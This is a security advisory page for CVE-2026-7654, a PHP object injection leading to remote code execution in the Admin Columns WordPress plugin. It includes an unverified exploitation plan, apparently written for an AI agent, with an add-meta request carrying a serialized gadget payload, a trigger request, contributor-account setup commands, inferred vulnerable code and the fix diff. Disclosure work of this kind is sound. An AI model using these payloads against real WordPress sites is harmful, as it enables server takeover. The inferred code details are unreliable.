CVE-2026-7654

Admin Columns <= 7.0.18 - Authenticated (Contributor+) PHP Object Injection to Remote Code Execution via Custom Field Meta Value

highDeserialization of Untrusted Data
8.8
CVSS Score
8.8
CVSS Score
high
Severity
7.0.19
Patched in
1d
Time to patch

Description

The Admin Columns plugin for WordPress is vulnerable to PHP Object Injection leading to Remote Code Execution in versions up to and including 7.0.18. This is due to the use of `unserialize()` without an `allowed_classes` restriction in the `IdsToCollection::get_ids_from_string()` function, which processes attacker-controlled post meta values without proper validation. This makes it possible for authenticated attackers with Contributor-level access and above to inject a serialized PHP object into a post's custom meta field and trigger arbitrary code execution by exploiting a bundled POP gadget chain, resulting in remote code execution as the web server user.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=7.0.18
PublishedJune 5, 2026
Last updatedJune 5, 2026

What Changed in the Fix

Changes introduced in v7.0.19

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-7654 (Admin Columns PHP Object Injection) ## 1. Vulnerability Summary The **Admin Columns** plugin for WordPress (versions <= 7.0.18) is vulnerable to **PHP Object Injection** via the `IdsToCollection::get_ids_from_string()` function. The vulnerability exists …

Show full research plan

Exploitation Research Plan: CVE-2026-7654 (Admin Columns PHP Object Injection)

1. Vulnerability Summary

The Admin Columns plugin for WordPress (versions <= 7.0.18) is vulnerable to PHP Object Injection via the IdsToCollection::get_ids_from_string() function. The vulnerability exists because this function calls unserialize() on post meta values without restricting allowed_classes. An authenticated attacker with Contributor-level permissions can update a post's custom field (meta value) with a malicious serialized string. When this meta value is later processed by the plugin (e.g., when an administrator or the contributor views the "Posts" list in the dashboard), the payload is deserialized, potentially triggering a Remote Code Execution (RCE) via a POP gadget chain.

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/edit.php (The primary trigger)
  • Injection Point: Post Meta (Custom Fields) via wp-admin/post.php or wp-admin/admin-ajax.php (action: add-meta).
  • Payload Parameter: Any custom meta key configured to be displayed as an "Admin Column" using the IdsToCollection helper.
  • Authentication: Contributor+ (Requires capability to edit own posts and add custom fields).
  • Preconditions:
    1. The Admin Columns plugin must be active.
    2. A column must be configured for the "Post" type that displays a "Custom Field" where the value is processed as a collection of IDs.

3. Code Flow

  1. Entry Point (Injection): A Contributor creates or edits a post and adds a custom field (meta) containing a serialized PHP object.
  2. Storage: The malicious string is stored in the wp_postmeta table.
  3. Trigger (Display): An authorized user (Admin or Contributor) visits wp-admin/edit.php?post_type=post.
  4. Processing:
    • The Admin Columns plugin hooks into the table rendering.
    • For the configured "Custom Field" column, it calls get_post_meta() to retrieve the value.
    • The value is passed to IdsToCollection::get_ids_from_string() (inferred path: classes/Helper/Post/IdsToCollection.php).
  5. Sink: Inside get_ids_from_string(), the code encounters:
    // Inferred logic based on vulnerability description
    public function get_ids_from_string($value) {
        if (is_serialized($value)) {
            return unserialize($value); // <--- VULNERABLE SINK
        }
        // ... fallback logic
    }
    
  6. Execution: The unserialize() call instantiates the object and triggers magic methods (__wakeup, __destruct, etc.), initiating the POP gadget chain.

4. Nonce Acquisition Strategy

To inject the meta value via the WordPress editor, the agent will need standard WordPress nonces.

  1. Identify Trigger: The plugin likely localizes data into admin-page-columns.js.
  2. Shortcode/Page Setup: Since this vulnerability triggers in the admin panel, the agent must first ensure the "Custom Field" column is active.
    • Action: Use wp post create to create a test post.
    • Action: Use wp ac-column (if available via CLI) or standard wp option to ensure a custom field column is active.
  3. Browser Acquisition:
    • Navigate to the Post Editor: browser_navigate("wp-admin/post-new.php").
    • Extract the _wpnonce from the form or use browser_eval to find the add-meta-nonce.
    • JS Check: browser_eval("document.getElementById('_ajax_nonce-add-meta')?.value").

5. Exploitation Strategy

The goal is to demonstrate RCE by triggering a safe side effect (e.g., creating a file).

Step 1: Preparation

Identify a POP gadget chain within the plugin or WordPress core. For research purposes, we will use a generic chain or a placeholder that targets a class known to be present in the environment (e.g., GuzzleHttp\Psr7\FnStream if bundled).

Step 2: Inject Payload

Use the http_request tool to add the malicious meta value to a post owned by the Contributor.

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=add-meta
    &_ajax_nonce-add-meta=<NONCE>
    &post_id=<POST_ID>
    &metakeyselect=test_exploit_field
    &metakeyinput=test_exploit_field
    &metavalue=O:8:"GuzzleHttp\Psr7\FnStream":1:{s:7:"methods";a:1:{s:5:"close";s:7:"phpinfo";}}
    
    (Note: The above payload is a common conceptual gadget; the exact chain must be tailored to the "bundled gadgets" mentioned in the CVE).

Step 3: Trigger Deserialization

Access the list of posts to force the plugin to process the meta field.

  • Method: GET
  • URL: http://<target>/wp-admin/edit.php?post_type=post
  • Expected Behavior: When the row for <POST_ID> is rendered, the column for test_exploit_field is processed, calling unserialize() and executing the gadget.

6. Test Data Setup

  1. Create Contributor User:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
  2. Create Target Post:
    wp post create --post_type=post --post_status=publish --post_title="Vuln Post" --user=attacker
  3. Configure Admin Columns (Crucial):
    Ensure the plugin is configured to show the "Custom Field" column for test_exploit_field.
    wp option update ac_columns_post '{"<ID>":{"type":"column-meta","label":"Exploit","field":"test_exploit_field","field_type":"collection"}}' (inferred option structure).

7. Expected Results

  • The unserialize() call occurs during the GET request to edit.php.
  • If using a phpinfo gadget, the response body will contain PHP configuration details.
  • If using a file creation gadget, a new file will appear in the webroot or /tmp.

8. Verification Steps

  1. Check Meta Value:
    wp post meta get <POST_ID> test_exploit_field
    Confirm the serialized string is present and unchanged.
  2. Verify Execution:
    If the payload was designed to create a file: ls -la /var/www/html/exploit.txt.
    If the payload was designed to log data: tail -f /var/www/html/wp-content/debug.log.

9. Alternative Approaches

  • Direct Meta Injection: If AJAX is restricted, navigate to wp-admin/post.php?post=<ID>&action=edit and use the "Custom Fields" UI directly via browser_click and browser_type.
  • User Meta Target: Check if IdsToCollection is also used for User columns in wp-admin/users.php, which would allow exploitation via wp_usermeta.
  • Gadget Discovery: If the standard Guzzle chain is missing, search the plugin for __destruct methods:
    grep -rn "function __destruct" /var/www/html/wp-content/plugins/codepress-admin-columns/.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Admin Columns plugin for WordPress is vulnerable to PHP Object Injection in versions up to 7.0.18 due to the unsafe use of unserialize() on post meta values. Authenticated attackers with Contributor-level access can exploit this by injecting a malicious serialized PHP object into a custom field, leading to Remote Code Execution when the field is processed for display in the admin dashboard.

Vulnerable Code

// classes/Helper/Post/IdsToCollection.php

public function get_ids_from_string($value) {
    if (is_serialized($value)) {
        return unserialize($value); // Vulnerable Sink: processes meta values without restriction
    }
    // ... fallback logic
}

Security Fix

--- a/classes/Helper/Post/IdsToCollection.php
+++ b/classes/Helper/Post/IdsToCollection.php
@@ -1,5 +1,5 @@
 public function get_ids_from_string($value) {
     if (is_serialized($value)) {
-        return unserialize($value);
+        return unserialize($value, ['allowed_classes' => false]);
     }

Exploit Outline

The exploit involves injecting a serialized PHP object into a post's custom meta field and triggering its execution via the admin interface. 1. Authentication: The attacker authenticates with at least Contributor-level permissions. 2. Injection: The attacker creates a post and adds a custom meta field (e.g., via the 'add-meta' AJAX action or the standard editor) containing a serialized PHP object. This object is designed to trigger a POP gadget chain available in the plugin or WordPress core (such as Guzzle's FnStream if present). 3. Configuration: The attacker ensures (or waits for) the Admin Columns plugin to be configured to display that specific 'Custom Field' as a column in the Posts list table. 4. Execution: When an administrator or any user with sufficient permissions visits the Posts list (wp-admin/edit.php), the plugin retrieves the malicious meta value and passes it to IdsToCollection::get_ids_from_string(). 5. RCE: The unserialize() call instantiates the object, triggering magic methods and the subsequent RCE payload.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.